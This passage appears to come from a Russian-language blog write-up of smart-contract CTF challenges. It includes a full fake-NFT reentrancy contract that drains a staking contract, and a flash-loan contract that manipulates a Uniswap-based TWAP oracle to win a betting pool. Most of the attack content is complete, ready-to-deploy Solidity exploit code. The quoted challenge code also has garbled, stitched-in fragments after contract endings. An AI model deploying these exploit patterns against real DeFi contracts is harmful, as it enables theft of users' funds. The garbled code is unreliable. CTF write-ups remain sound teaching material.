        require(nft != address(0), &quot;Zero NFT address!&quot;);
        require(address(bonusNfts[rank]) == address(0), &quot;NFT for the rank is already initialized!&quot;);
        bonusNfts[rank] = IMegaMankiNFT(nft);
    }

    // This function is for some investment things
    function notRugPull() public {
        require(msg.sender == owner, &quot;Only owner!&quot;);
        payable(owner).transfer(address(this).balance);
    }
} amount);
        payable(msg.sender).transfer(amount);
    }
}</pre>
  <p id="2cLo"></p>
  <h3 id="WsoL">Решение</h3>
  <p id="1eTb"><u><strong>Pre-read</strong></u></p>
  <ul id="Dtme">
    <li id="t04U">None!</li>
  </ul>
  <p id="Iho9"><u><strong>Идея</strong></u></p>
  <ul id="J9Wo">
    <li id="zf4o">Для решения этой задачи нужно внимательно изучить контракт. У нас есть возможность добавить свой NFT токен, но как ей воспользоваться?</li>
  </ul>
  <p id="ykjJ"><u><strong>Решение</strong></u></p>
  <ul id="DBrw">
    <li id="htvz">Для начала изучим, как воспользоваться своим NFT:</li>
    <ul id="AKBV">
      <li id="IWp9">Замечаем, что у массивов разные размерности</li>
    </ul>
  </ul>
  <pre id="2LWF" data-lang="javascript">uint[4] public AMOUNT_STEPS = [2 * 10 ** 16, 3 * 10 ** 16, MAX_DEPO];
string[3] public RANKS = [&quot;bronze&quot;, &quot;silver&quot;, &quot;gold&quot;];
uint[3] public DAILY_PERCENTS = [2, 3, 5];</pre>
  <ul id="Jkns">
    <li id="lFUK">Замечаем, что в функции deposit() нет проверки на == MAX_DEPO, а значит, запись ранга и процента будут пропущены:</li>
  </ul>
  <pre id="NKM0" data-lang="javascript">function deposit() payable public {
        require(!(msg.value &lt; MIN_DEPO), &quot;You are unable to deposit less than MIN_DEPO&quot;);
        require(!(msg.value &gt; MAX_DEPO), &quot;You are unable to deposit more than MAX_DEPO&quot;);
        /* What if msg.value == MAX_DEPO? */
        Stake storage stake = stakes[msg.sender];
        require(stake.stake == 0, &quot;One user can make only one deposit&quot;);
        stake.stake = msg.value;
        stake.lastTime = block.timestamp;
        for (uint i = 0; i &lt; AMOUNT_STEPS.length; i++) {
            // What if msg.value == MAX_DEPO?
            // if condition will never be true
            if (msg.value &lt; AMOUNT_STEPS[i]) {
                stake.rank = RANKS[i]; // will be empty
                stake.percent = DAILY_PERCENTS[i]; // will be empty
            }
        }
        stake.nftStatus = NFT_USER_STATUS.GENERATED;
        IMegaMankiNFT(bonusNfts[stake.rank]).mint(msg.sender, nftCounter++);
    }</pre>
  <ul id="fAVQ">
    <li id="I8iQ">Теперь становится ясен вектор атаки: </li>
    <ul id="i0Yu">
      <li id="im63">Создаём свою атакующую NFT</li>
      <li id="zNK9">Делаем депозит MAX_DEPO</li>
    </ul>
    <ul id="syf4">
      <li id="Y990">Делаем реентранси атаку при вызове <code>claimNftReward(uint nftId) </code>(нарушен паттерн checks - effects - interactions)</li>
    </ul>
    <li id="lbqj">Пишем контракт своей NFT:</li>
  </ul>
  <pre id="ZY8Z" data-lang="javascript">contract FakeMegaMankiNFT {
    address target =*Your-target-address*;
    // оставляем функцию пустой, чтобы прошёл mint при deposit()
    function mint(address to, uint tokenId) external {}
    // поскольку за NFT награда ровно 3000000000000000
    // убедимся, что баланса достаточно для вывода такой суммы
    function burn(uint tokenId) external {
        if (address(target).balance &lt; 3000000000000000) return;
        SeriousBusinessInvestment(payable(target)).claimNftReward(1);
    }
    function ownerOf(uint256 tokenId) external view returns (address) {
        return address(this);
    }
    // возвращаем малое значение, чтобы не было временной блокировки
    function burnUnlockTime(uint tokenId) external view returns (uint unlockTime) {
        return 1;
    }
    // делаем депозит, &quot;минтим&quot; себе эту NFT и забираем награду
    function startExploit() public payable {
        // добавляем свою NFT в список
        SeriousBusinessInvestment(payable(target))
                    .nftContractsInitializer(&quot;&quot;, address(this));
        // Делаем депозит
        SeriousBusinessInvestment(payable(target)).deposit
                        {value: SeriousBusinessInvestment(payable(target)).MAX_DEPO()}();
        // начинаем атаку
        exploit();
    }
    // вход в reentrancy
    function exploit() public {
        SeriousBusinessInvestment(payable(target)).claimNftReward(1);
    }
    function withdraw() public {
        msg.sender.transfer(address(this).balance);
    }
    receive() external payable {}
}</pre>
  <p id="3FXM">Вызываем функцию <code>startExploit()</code> и задача решена.</p>
  <p id="GXIp"></p>
  <h2 id="HOLj">Задача 4 | Totalizator | Сложность 10/10</h2>
  <h3 id="xQdV"><strong>Условие</strong></h3>
  <p id="NOxy">A new interesting tote has appeared in the crypto community, where participants predict the price of bitcoin and compete with each other. The tote has its own TT token, which is traded on Uniswap V2.</p>
  <p id="qO5E">The tote works according to the scheme:</p>
  <ul id="oqYb">
    <li id="iGY9">a new round is created, the duration of each round is 1 hour<br />the first 15 minutes, participants place bets on the rise or fall in value<br />after the end of the round, all deposited funds (including additional prize funds) are divided - among the winners in proportion to the deposited funds</li>
    <li id="mEaH">To get the price of BTC, the contract uses a special TWAP oracle that receives data from the Uniswap V2 pair and averages it by using sliding window. At the beginning and after the end of the round, the contract fixes the prices and then they are used to determine the winners.</li>
  </ul>
  <p id="9Wz2">To promote tote, the organizers announced a large prize fund and sent it to the contract.</p>
  <p id="jKkS">Your task is to participate in the tote and win.</p>
  <p id="xFgL"></p>
  <pre id="afnX" data-lang="javascript">// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import &quot;@openzeppelin/contracts/token/ERC20/ERC20.sol&quot;;
import &#x27;@openzeppelin/contracts/access/Ownable.sol&#x27;;
import &quot;@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol&quot;;

contract TWAPOracle {
    uint constant public min = 1 minutes;
    uint constant public MAX_LENGTH = 100;
    uint public immutable length;
    address public immutable pair;
    uint[MAX_LENGTH] public ticks;
    uint public round;
    uint public lastUpdated;

    constructor (uint _length, address _pair) {
        require(_length &lt; MAX_LENGTH, &quot;big len&quot; );
        length = _length;
        pair = _pair;
    }

    function update() external {
        if (lastUpdated != 0 &amp;&amp; block.timestamp &lt; lastUpdated + 5 * min) return;

        uint price = _getPoolPrice();

        uint tickIndex = round % length;
        ticks[tickIndex] = price;
        round ++;
        lastUpdated = block.timestamp;
    }

    function _getPoolPrice() internal view returns (uint) {
        (uint stableCount, uint assetCount,) = IUniswapV2Pair(pair).getReserves();
        return 1e18 * stableCount / assetCount;
    }

    function getPrice() public view returns (uint) {
        uint avg = 0;
        if (round == 0) return 0;
        uint tickIndex = (round - 1) % length;
        uint samples = tickIndex + 1;
        for (int i = int(tickIndex); i &gt;= 0; i--) {
            avg += ticks[uint(i)]; // * weight (if oracle uses weighted averages)       
        }

        if (round &gt;= length) {
            samples = length;
            for (int i = int(length-1); i &gt;= int(tickIndex); i--)
            {
                avg += ticks[uint(i)]; // * weight (if oracle uses weighted averages)            
            }
        }
        return avg / samples;
    }
}

contract SimpleToken is ERC20, Ownable {
    constructor(string memory name) ERC20(name, name) {}
    function mint(address to, uint amount) external onlyOwner {
        _mint(to, amount);
    }
}

contract Totalizator {

    uint constant public ROUND_INTERVAL = 1 hours;
    TWAPOracle public immutable oracle;

    uint public round;
    uint public totalDepositedUp;
    uint public totalDepositedDown;    
    uint public start;
    uint public price;
    uint public finalPrice;

    address public immutable btc;
    address public immutable usdt;    
    address public immutable token;

    mapping(uint =&gt; mapping(address =&gt; uint)) userUp;
    mapping(uint =&gt; mapping(address =&gt; uint)) userDown;    

    constructor (address pool, address _token,address _btc, address _usdt) {
        oracle = new TWAPOracle(5, pool);        
        token = _token;        
        btc = _btc;
        usdt = _usdt;
    }

    function newRound() external  {
        require(start == 0 || (start &gt; 0 &amp;&amp; start + ROUND_INTERVAL * 3/2 &lt; block.timestamp), &quot;!bid&quot; );        

        oracle.update();

        round ++;
        price = oracle.getPrice();
        finalPrice = 0;
        start = block.timestamp;
        totalDepositedUp = 0;  
        totalDepositedDown = 0;        
    }

    function deposit(uint amount, bool up) external payable {
        require(start &gt; 0 &amp;&amp; block.timestamp &gt; start &amp;&amp; block.timestamp &lt; start + ROUND_INTERVAL/4, &quot;!bid&quot; );

        oracle.update();

        IERC20(token).transferFrom(msg.sender, address(this), amount);

        if (up) {
            require( userDown[round][msg.sender] == 0, &quot;only_up&quot;);            
            userUp[round][ msg.sender ] += amount;
            totalDepositedUp += amount;
        }
        else {
            require(userUp[round][msg.sender] == 0, &quot;only_down&quot;);
            userDown[round][ msg.sender ] += amount;
            totalDepositedDown += amount;
        }
    }

    function claim() external payable {
        require( start &gt; 0, &quot;!round&quot; );
        require( start + ROUND_INTERVAL &lt; block.timestamp, &quot;!finished&quot; );     

        oracle.update();

        if (finalPrice == 0) {
            finalPrice = oracle.getPrice();            
        }   

        uint upUserDeposit = userUp[round][msg.sender];
        uint downUserDeposit = userDown[round][msg.sender];

        // price has be out of 0.1% range
        require(             
            totalDepositedUp + totalDepositedDown &gt; 0 &amp;&amp;
            (
                (upUserDeposit &gt; 0 &amp;&amp; finalPrice &gt;= price * 1001 / 1000) ||
                (downUserDeposit &gt; 0 &amp;&amp; finalPrice &lt;= price * 999 / 1000)
            ), 
            &quot;!winner&quot; );


        userUp[round][msg.sender] = 0;
        userDown[round][msg.sender] = 0;        
        if (upUserDeposit &gt; 0) {
            uint prize = IERC20(token).balanceOf(address(this)) * upUserDeposit / totalDepositedUp;
            IERC20(token).transfer(msg.sender, prize);
        }
        else {
            uint prize = IERC20(token).balanceOf(address(this)) * downUserDeposit / totalDepositedDown;
            IERC20(token).transfer(msg.sender, prize);
        }
    }    
}).transfer(address(this).balance);
    }
} amount);
        payable(msg.sender).transfer(amount);
    }
}</pre>
  <p id="5Tyb"></p>
  <h3 id="hrIm">Решение</h3>
  <p id="prhZ"><u><strong>Pre-read</strong></u></p>
  <ul id="Dtme">
    <li id="Mg52"><a href="https://solidity-by-example.org/defi/uniswap-v2-flash-swap/" target="_blank">Uniswap flashswap example</a></li>
    <li id="QzZM"><a href="https://github.com/Uniswap/v2-core/blob/master/contracts/UniswapV2Pair.sol" target="_blank">Uniswap v2 Pair</a></li>
    <li id="w5XM"><a href="https://github.com/Uniswap/v2-periphery/blob/master/contracts/UniswapV2Router01.sol" target="_blank">Uniswap v2 Router</a></li>
  </ul>
  <p id="UCd2"><u><strong>Идея</strong></u></p>
  <ul id="J9Wo">
    <li id="a24r">Довольно очевидно, что оракул в данной задаче плохой. Он берет текущую цену с пула Uniswap, которой можно манипулировать в любую сторону. </li>
  </ul>
  <p id="bt1N"><u><strong>Решение</strong></u></p>
  <ul id="DBrw">
    <li id="7Fca">Есть 2 способа решить задачу:</li>
    <ul id="AKBV">
      <li id="l2jM">Занять USDT в пуле BTC/USDT, начать раунд и вернуть (таким образом запишется высокая цена BTC)</li>
      <li id="WMho">Занять UST в пуле TToken/USDT, обменять USDT на BTC, начать раунд, обменять BTC на USDT и вернуть займ</li>
    </ul>
  </ul>
  <p id="yZd4">Поняв идею хака, остаётся этап реализации, который не сложен. Не прикладываю своё решение, чтобы можно было потренироваться самому :)</p>
  <p id="e9Ik">Поэтапно распишу второй способ, поскольку он сложнее (границами размечены отдельные транзакции):</p>
  <hr />
  <ul id="FohT">
    <li id="DdMn">Занимаем USDT в пуле TToken/USDT (0.3% * 3 от займа нам предется заплатить в качестве комиссии)</li>
  </ul>
  <p id="k4uo">обмениваем USDT на BTC в пуле BTC/USDT</p>
  <ul id="P4QY">
    <li id="dOWo">Начинаем раунд в контракте Totalizator</li>
    <li id="sayj">обмениваем BTC на USDT в пуле BTC/USDT</li>
    <li id="41N1">Возвращаем взятые в залог USDT</li>
    <li id="mm3g">Выплачиваем со своего счета 0.3% * 3 комиссии (отсюда следует, что максимальный займ примерно в 100 раз больше нашего баланса)</li>
  </ul>
  <hr />
  <ul id="HiyL">
    <li id="Z5Ls">Со своего аккаунта ставим на падение/рост (в зависимости от порядка токенов в паре BTC/USDT)</li>
  </ul>
  <hr />
  <ul id="No56">
    <li id="bBXF">Ждём 60 минут и забираем награду</li>
  </ul>
  <p id="EXwX"></p>
  <p id="zzuA">Контракт для выполнения атаки:</p>
  <p id="pGLq"><em>В задаче нам предоставляются только пулы, поэтому функционал роутера надо реализовать вручную.</em></p>
  <pre id="Z9kk" data-lang="javascript">contract Winner {

    address immutable hacker = *Your-address*;

    address TT = *Your-ToteToken-address*;
    address BTC = *Your-BTC-address*;
    address USDT = *Your-USDT-address*;
    address TTUSDTPair = *Your-TTUSDpair-address*;
    address BTCUSDTPair = *Your-BTCUSDTPair-address*;
    address totalizer = *Your-totalizer-address*;
    
    function attack(uint256 amountOutDec) public {
        // flashloan at TTUSDTPair
        flashloanUsdt(amountOutDec);
    }

    function uniswapV2Call(
             address sender, 
             uint256 amount0Out, 
             uint256 amount1Out, 
             bytes calldata data 
        ) public {
        // swap USDT for BTC at BTCUSDTPair
        swapUsdtForBtc();
        // StartRound at Totalizer
        startRound();
        // swap BTC for USDT at BTCUSDTPair
        swapBtcForUsdt();
        // return USDT to TTUSDTPair
        repayFlashloan(amount0Out, amount1Out);
    }

    function startRound() public {
        Totalizator(totalizer).newRound();
    }
    // flashloan USDT
    function flashloanUsdt(uint256 amountOutDec) public {
        uint256 amountOut = amountOutDec * 10**18;
        (uint reserve0, uint reserve1,) = IUniswapV2Pair(TTUSDTPair)
                                                .getReserves();
        address token0 = IUniswapV2Pair(TTUSDTPair).token0();
        (uint amount0Out, uint amount1Out) = TT == token0 ? 
          (uint(0), amountOut) : (amountOut, uint(0));
        
        // go to callback
        IUniswapV2Pair(TTUSDTPair)
             .swap(amount0Out, amount1Out, address(this), new bytes(1));
    }
    // swap all USDT to BTC w/o any callback
    function swapUsdtForBtc() public {
        uint256 amountIn = USDT_Token(USDT).balanceOf(address(this));
        (uint112 reserve0, uint112 reserve1,) = 
                 IUniswapV2Pair(BTCUSDTPair).getReserves();
        address token0 = IUniswapV2Pair(BTCUSDTPair).token0();
        USDT_Token(USDT).transfer(BTCUSDTPair, amountIn);
        
        // if USDT is not token0, need to flip reserves
        if (USDT != token0) { 
            (reserve0, reserve1) = (reserve1, reserve0);
        }
        uint256 amountOut = 
             getAmountOut(amountIn, uint256(reserve0), uint256(reserve1));
        (uint amount0Out, uint amount1Out) = 
               USDT == token0 ? 
                       (uint(0), amountOut) : (amountOut, uint(0));

        IUniswapV2Pair(BTCUSDTPair)
               .swap(amount0Out, amount1Out, address(this), new bytes(0));
    }
    // swap all BTC to USDT w/o any callback
    function swapBtcForUsdt() public {
        uint256 amountIn = BTC_Token(BTC).balanceOf(address(this));
        (uint112 reserve0, uint112 reserve1,) = 
               IUniswapV2Pair(BTCUSDTPair).getReserves();
        address token0 = IUniswapV2Pair(BTCUSDTPair).token0();
        BTC_Token(BTC).transfer(BTCUSDTPair, amountIn);
        
        // if BTC is not token0, need to flip reserves
        if (BTC != token0) {                            
            (reserve0, reserve1) = (reserve1, reserve0);
        }
        uint256 amountOut = 
            getAmountOut(amountIn, uint256(reserve0), uint256(reserve1));
        (uint amount0Out, uint amount1Out) = 
            BTC == token0 ? 
                   (uint(0), amountOut) : (amountOut, uint(0));

        IUniswapV2Pair(BTCUSDTPair)
           .swap(amount0Out, amount1Out, address(this), new bytes(0));
    }

    function repayFlashloan(uint256 amount0Out, uint256 amount1Out) public {
        require(amount1Out &lt; USDT_Token(USDT)
           .balanceOf(hacker), &quot;not enough for fee&quot;);
        // выплачиваю комиссию
        USDT_Token(USDT).transferFrom(
                             hacker, 
                             TTUSDTPair, 
                             USDT_Token(USDT).balanceOf(hacker)
                         );
        // отдаю флешлоун
        USDT_Token(USDT).transfer( 
            TTUSDTPair, 
            USDT_Token(USDT).balanceOf(address(this))
        ); 
    } 
}</pre>
  <p id="Oc9Q"> </p>
  <p id="Uhki">Надеюсь, вам, как и мне, очень понравились задачи. Было интересно узнать для себя что-то новое, а также проверить навыки в деле.</p>
  <p id="DRJ0">удачи :)</p>

]]></content:encoded></item></channel></rss>